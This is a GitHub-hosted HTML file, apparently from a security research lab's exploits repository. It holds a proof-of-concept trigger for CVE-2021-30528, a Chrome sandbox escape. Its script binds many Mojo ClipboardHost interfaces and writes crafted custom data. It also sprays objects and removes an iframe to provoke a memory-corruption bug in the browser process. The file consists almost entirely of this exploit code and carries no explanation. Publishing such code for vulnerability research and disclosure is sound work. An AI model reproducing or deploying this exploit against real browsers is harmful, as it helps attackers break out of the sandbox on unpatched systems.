securitylab/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html at etherpad-patched-codeql-database · github/securitylab · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<html>
  <head>
    <script src="mojo_bindings.js"></script>
    <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
    <script src="skia/public/mojom/bitmap.mojom.js"></script>

    <script>
      const clipboardSize = 1;
      clipboards = [];
      function createCustomData(count) {
        let customData = new Map();
        for (let i = 0; i < count; i++) {
		  let key = new mojoBase.mojom.String16();
          let keyStore = new ArrayBuffer(24);
          let keyData = new Uint16Array(keyStore);
          let keyView = new Uint8Array(keyStore);
          keyData.fill(0);
          keyView[23] = 0x50;
          keyData[0] = i;
		  key.data = keyData;
		  let bigBuffer = new mojoBase.mojom.BigBuffer();
          let valueData = new Array(24);
          valueData.fill(46);
          bigBuffer.bytes = valueData;
          let value = new mojoBase.mojom.BigString16();
          value.data = bigBuffer;
          customData.set(key, value);
        }
        return customData;
      }

      function createClipboards(n, clipboardArr) {
        for (let i = 0; i < n; i++) {
          let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
          Mojo.bindInterface(blink.mojom.ClipboardHost.name,
                            mojo.makeRequest(clipboard_ptr).handle);
          clipboardArr.push(clipboard_ptr);
        }
      }


      function createIframe(id, src) {
	    let iframe = document.createElement('iframe');
	    iframe.style.display="none";
	    iframe.setAttribute('id', id);
        if (src !== undefined) {
	      iframe.src = src;
        }
	    document.body.appendChild(iframe);
      }

      function removeIframe(id) {
	    let frame = document.getElementById(id);
	    frame.parentNode.removeChild(frame);
        for (let i = 0; i < clipboardSize; i++) {
            clipboards[i].writeCustomData(customData);
        }
      }

      function load() {
        createClipboards(clipboardSize, clipboards);
        customData = createCustomData(1000);
        postMessage("spray", "spray");
        createIframe("trigger", "trigger.html");

      }
    </script>
  </head>

  <body onload="load()"></body>

</html>